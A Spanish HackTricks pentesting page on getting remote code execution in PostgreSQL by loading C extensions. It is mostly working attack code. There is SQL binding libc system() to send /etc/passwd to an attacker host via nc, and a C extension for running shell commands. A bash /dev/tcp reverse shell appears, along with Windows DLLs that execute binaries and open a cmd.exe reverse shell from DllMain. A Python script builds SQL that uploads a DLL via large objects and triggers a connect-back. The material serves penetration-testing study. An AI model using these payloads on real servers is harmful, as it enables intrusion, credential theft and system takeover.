mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
345 lines
16 KiB
Markdown
345 lines
16 KiB
Markdown
|
# RCE con Extensiones de PostgreSQL
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Extensiones de PostgreSQL
|
||
|
|
||
|
PostgreSQL está diseñado para ser fácilmente extensible. Por esta razón, las extensiones cargadas en la base de datos pueden funcionar como características integradas.\
|
||
|
Las extensiones son módulos que proporcionan funciones, operadores o tipos adicionales. Son bibliotecas escritas en C.\
|
||
|
A partir de PostgreSQL > 8.1, las bibliotecas de extensión deben compilarse con un encabezado especial o PostgreSQL se negará a ejecutarlas.
|
||
|
|
||
|
Además, ten en cuenta que **si no sabes cómo** [**subir archivos a la víctima abusando de PostgreSQL, debes leer este post.**](big-binary-files-upload-postgresql.md)
|
||
|
|
||
|
### RCE en Linux
|
||
|
|
||
|
El proceso para ejecutar comandos del sistema desde PostgreSQL 8.1 y anteriores es sencillo y está bien documentado ([módulo de Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres\_payload)):
|
||
|
```sql
|
||
|
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||
|
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||
|
|
||
|
# You can also create functions to open and write files
|
||
|
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
|
||
|
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
|
||
|
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
|
||
|
```
|
||
|
<details>
|
||
|
|
||
|
<summary>Escribir archivo binario desde base64</summary>
|
||
|
|
||
|
Para escribir un archivo binario en postgres es posible que necesites usar base64, esto te será útil para ese propósito:
|
||
|
```sql
|
||
|
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||
|
$$
|
||
|
DECLARE
|
||
|
fh int;
|
||
|
s int;
|
||
|
w bytea;
|
||
|
i int;
|
||
|
BEGIN
|
||
|
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
|
||
|
|
||
|
IF fh <= 2 THEN
|
||
|
RETURN 1;
|
||
|
END IF;
|
||
|
|
||
|
SELECT decode(s, 'base64') INTO w;
|
||
|
|
||
|
i := 0;
|
||
|
LOOP
|
||
|
EXIT WHEN i >= octet_length(w);
|
||
|
|
||
|
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
|
||
|
|
||
|
IF rs < 0 THEN
|
||
|
RETURN 2;
|
||
|
END IF;
|
||
|
|
||
|
i := i + 1;
|
||
|
END LOOP;
|
||
|
|
||
|
SELECT close(fh) INTO rs;
|
||
|
|
||
|
RETURN 0;
|
||
|
|
||
|
END;
|
||
|
$$ LANGUAGE 'plpgsql';
|
||
|
```
|
||
|
</details>
|
||
|
|
||
|
Sin embargo, al intentarlo en PostgreSQL 9.0, **se mostró el siguiente error**:
|
||
|
```c
|
||
|
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||
|
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||
|
```
|
||
|
Este error se explica en la [documentación de PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||
|
|
||
|
> Para asegurarse de que un archivo de objeto cargado dinámicamente no se carga en un servidor incompatible, PostgreSQL comprueba que el archivo contiene un "bloque mágico" con el contenido apropiado. Esto permite al servidor detectar incompatibilidades obvias, como el código compilado para una versión principal diferente de PostgreSQL. Se requiere un bloque mágico a partir de PostgreSQL 8.2. Para incluir un bloque mágico, escriba esto en uno (y solo uno) de los archivos fuente del módulo, después de haber incluido el encabezado fmgr.h:
|
||
|
>
|
||
|
> `#ifdef PG_MODULE_MAGIC`\
|
||
|
> `PG_MODULE_MAGIC;`\
|
||
|
> `#endif`
|
||
|
|
||
|
Por lo tanto, para las versiones de PostgreSQL desde 8.2, un atacante necesita aprovechar una biblioteca ya presente en el sistema o cargar su propia biblioteca, que se haya compilado contra la versión principal correcta de PostgreSQL e incluya este bloque mágico.
|
||
|
|
||
|
#### Compilar la biblioteca
|
||
|
|
||
|
En primer lugar, es necesario conocer la versión de PostgreSQL que se está ejecutando:
|
||
|
```sql
|
||
|
SELECT version();
|
||
|
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||
|
```
|
||
|
Las versiones principales deben coincidir, por lo que en este caso compilar una biblioteca usando cualquier 9.6.x debería funcionar.\
|
||
|
Luego, instale esa versión en su sistema:
|
||
|
```bash
|
||
|
apt install postgresql postgresql-server-dev-9.6
|
||
|
```
|
||
|
Y compilar la librería:
|
||
|
```c
|
||
|
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
||
|
#include <string.h>
|
||
|
#include "postgres.h"
|
||
|
#include "fmgr.h"
|
||
|
|
||
|
#ifdef PG_MODULE_MAGIC
|
||
|
PG_MODULE_MAGIC;
|
||
|
#endif
|
||
|
|
||
|
PG_FUNCTION_INFO_V1(pg_exec);
|
||
|
Datum pg_exec(PG_FUNCTION_ARGS) {
|
||
|
char* command = PG_GETARG_CSTRING(0);
|
||
|
PG_RETURN_INT32(system(command));
|
||
|
}
|
||
|
```
|
||
|
Entonces, suba la biblioteca compilada y ejecute comandos con:
|
||
|
```bash
|
||
|
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||
|
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||
|
#Notice the double single quotes are needed to scape the qoutes
|
||
|
```
|
||
|
Puedes encontrar esta **biblioteca precompilada** para varias versiones diferentes de PostgreSQL e incluso puedes **automatizar este proceso** (si tienes acceso a PostgreSQL) con:
|
||
|
|
||
|
{% embed url="https://github.com/Dionach/pgexec" %}
|
||
|
|
||
|
Para obtener más información, lee: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||
|
|
||
|
### RCE en Windows
|
||
|
|
||
|
La siguiente DLL toma como entrada el **nombre del binario** y el **número** de **veces** que deseas ejecutarlo y lo ejecuta:
|
||
|
```c
|
||
|
#include "postgres.h"
|
||
|
#include <string.h>
|
||
|
#include "fmgr.h"
|
||
|
#include "utils/geo_decls.h"
|
||
|
#include <stdio.h>
|
||
|
#include "utils/builtins.h"
|
||
|
|
||
|
#ifdef PG_MODULE_MAGIC
|
||
|
PG_MODULE_MAGIC;
|
||
|
#endif
|
||
|
|
||
|
/* Add a prototype marked PGDLLEXPORT */
|
||
|
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
|
||
|
PG_FUNCTION_INFO_V1(pgsql_exec);
|
||
|
|
||
|
/* this function launches the executable passed in as the first parameter
|
||
|
in a FOR loop bound by the second parameter that is also passed*/
|
||
|
Datum
|
||
|
pgsql_exec(PG_FUNCTION_ARGS)
|
||
|
{
|
||
|
/* convert text pointer to C string */
|
||
|
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
|
||
|
|
||
|
/* retrieve the second argument that is passed to the function (an integer)
|
||
|
that will serve as our counter limit*/
|
||
|
|
||
|
int instances = PG_GETARG_INT32(1);
|
||
|
|
||
|
for (int c = 0; c < instances; c++) {
|
||
|
/*launch the process passed in the first parameter*/
|
||
|
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||
|
}
|
||
|
PG_RETURN_VOID();
|
||
|
}
|
||
|
```
|
||
|
Puedes encontrar la DLL compilada en este archivo zip:
|
||
|
|
||
|
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
||
|
|
||
|
Puedes indicarle a esta DLL **qué binario ejecutar** y cuántas veces ejecutarlo, en este ejemplo se ejecutará `calc.exe` 2 veces:
|
||
|
```bash
|
||
|
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||
|
SELECT remote_exec('calc.exe', 2);
|
||
|
DROP FUNCTION remote_exec(text, integer);
|
||
|
```
|
||
|
En [**aquí**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) puedes encontrar este reverse-shell:
|
||
|
```c
|
||
|
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||
|
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||
|
|
||
|
#include "postgres.h"
|
||
|
#include <string.h>
|
||
|
#include "fmgr.h"
|
||
|
#include "utils/geo_decls.h"
|
||
|
#include <winsock2.h>
|
||
|
|
||
|
#pragma comment(lib,"ws2_32")
|
||
|
|
||
|
#ifdef PG_MODULE_MAGIC
|
||
|
PG_MODULE_MAGIC;
|
||
|
#endif
|
||
|
|
||
|
#pragma warning(push)
|
||
|
#pragma warning(disable: 4996)
|
||
|
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||
|
|
||
|
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
|
||
|
_In_ DWORD fdwReason,
|
||
|
_In_ LPVOID lpvReserved)
|
||
|
{
|
||
|
WSADATA wsaData;
|
||
|
SOCKET wsock;
|
||
|
struct sockaddr_in server;
|
||
|
char ip_addr[16];
|
||
|
STARTUPINFOA startupinfo;
|
||
|
PROCESS_INFORMATION processinfo;
|
||
|
|
||
|
char *program = "cmd.exe";
|
||
|
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
|
||
|
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
|
||
|
|
||
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||
|
wsock = WSASocket(AF_INET, SOCK_STREAM,
|
||
|
IPPROTO_TCP, NULL, 0, 0);
|
||
|
|
||
|
struct hostent *host;
|
||
|
host = gethostbyname(ip);
|
||
|
strcpy_s(ip_addr, sizeof(ip_addr),
|
||
|
inet_ntoa(*((struct in_addr *)host->h_addr)));
|
||
|
|
||
|
server.sin_family = AF_INET;
|
||
|
server.sin_port = htons(port);
|
||
|
server.sin_addr.s_addr = inet_addr(ip_addr);
|
||
|
|
||
|
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
|
||
|
NULL, NULL, NULL, NULL);
|
||
|
|
||
|
memset(&startupinfo, 0, sizeof(startupinfo));
|
||
|
startupinfo.cb = sizeof(startupinfo);
|
||
|
startupinfo.dwFlags = STARTF_USESTDHANDLES;
|
||
|
startupinfo.hStdInput = startupinfo.hStdOutput =
|
||
|
startupinfo.hStdError = (HANDLE)wsock;
|
||
|
|
||
|
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
|
||
|
NULL, NULL, &startupinfo, &processinfo);
|
||
|
|
||
|
return TRUE;
|
||
|
}
|
||
|
|
||
|
#pragma warning(pop) /* re-enable 4996 */
|
||
|
|
||
|
/* Add a prototype marked PGDLLEXPORT */
|
||
|
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
|
||
|
|
||
|
PG_FUNCTION_INFO_V1(add_one);
|
||
|
|
||
|
Datum dummy_function(PG_FUNCTION_ARGS)
|
||
|
{
|
||
|
int32 arg = PG_GETARG_INT32(0);
|
||
|
|
||
|
PG_RETURN_INT32(arg + 1);
|
||
|
}
|
||
|
```
|
||
|
Observa cómo en este caso el **código malicioso está dentro de la función DllMain**. Esto significa que en este caso no es necesario ejecutar la función cargada en postgresql, simplemente **cargar la DLL** ejecutará el shell inverso:
|
||
|
```c
|
||
|
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||
|
```
|
||
|
### RCE en las últimas versiones de PostgreSQL
|
||
|
|
||
|
En las **últimas versiones** de PostgreSQL, el usuario `superuser` ya **no tiene permitido** cargar un archivo de biblioteca compartida desde **ningún lugar** que no sea `C:\Program Files\PostgreSQL\11\lib` en Windows o `/var/lib/postgresql/11/lib` en \*nix. Además, esta ruta **no es escribible** por las cuentas NETWORK\_SERVICE o postgres.
|
||
|
|
||
|
Sin embargo, un usuario `superuser` autenticado en la base de datos **puede escribir** archivos binarios en el sistema de archivos utilizando "objetos grandes" y, por supuesto, escribir en el directorio `C:\Program Files\PostgreSQL\11\data`. La razón de esto debería ser clara, para actualizar/crear tablas en la base de datos.
|
||
|
|
||
|
El problema subyacente es que el operador `CREATE FUNCTION` **permite la transversal de directorios** al directorio de datos. Por lo tanto, esencialmente, un atacante autenticado puede **escribir un archivo de biblioteca compartida en el directorio de datos y usar la transversal para cargar la biblioteca compartida**. Esto significa que un atacante puede obtener ejecución de código nativo y, como tal, ejecutar código arbitrario.
|
||
|
|
||
|
#### Flujo de ataque
|
||
|
|
||
|
En primer lugar, es necesario **usar objetos grandes para cargar el archivo dll**. Puede ver cómo hacerlo aquí:
|
||
|
|
||
|
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
||
|
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
Una vez que haya cargado la extensión (con el nombre de poc.dll para este ejemplo) en el directorio de datos, puede cargarla con:
|
||
|
```c
|
||
|
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||
|
select connect_back('192.168.100.54', 1234);
|
||
|
```
|
||
|
_Nota que no necesitas agregar la extensión `.dll` ya que la función create la añadirá._
|
||
|
|
||
|
Para más información **lee la** [**publicación original aquí**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||
|
En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender cómo compilar una extensión de postgres lee cualquiera de las versiones anteriores_).\
|
||
|
En la misma página se proporcionó **un exploit para automatizar** esta técnica:
|
||
|
```python
|
||
|
#!/usr/bin/env python3
|
||
|
import sys
|
||
|
|
||
|
if len(sys.argv) != 4:
|
||
|
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
|
||
|
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
|
||
|
sys.exit(1)
|
||
|
|
||
|
host = sys.argv[1]
|
||
|
port = int(sys.argv[2])
|
||
|
lib = sys.argv[3]
|
||
|
with open(lib, "rb") as dll:
|
||
|
d = dll.read()
|
||
|
sql = "select lo_import('C:/Windows/win.ini', 1337);"
|
||
|
for i in range(0, len(d)//2048):
|
||
|
start = i * 2048
|
||
|
end = (i+1) * 2048
|
||
|
if i == 0:
|
||
|
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
|
||
|
else:
|
||
|
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
|
||
|
if (len(d) % 2048) != 0:
|
||
|
end = (i+1) * 2048
|
||
|
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
|
||
|
|
||
|
sql += "select lo_export(1337, 'poc.dll');"
|
||
|
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
|
||
|
sql += "select connect_back('%s', %d);" % (host, port)
|
||
|
print("(+) building poc.sql file")
|
||
|
with open("poc.sql", "w") as sqlfile:
|
||
|
sqlfile.write(sql)
|
||
|
print("(+) run poc.sql in PostgreSQL using the superuser")
|
||
|
print("(+) for a db cleanup only, run the following sql:")
|
||
|
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||
|
print(" drop function connect_back(text, integer);")
|
||
|
```
|
||
|
## Referencias
|
||
|
|
||
|
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||
|
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|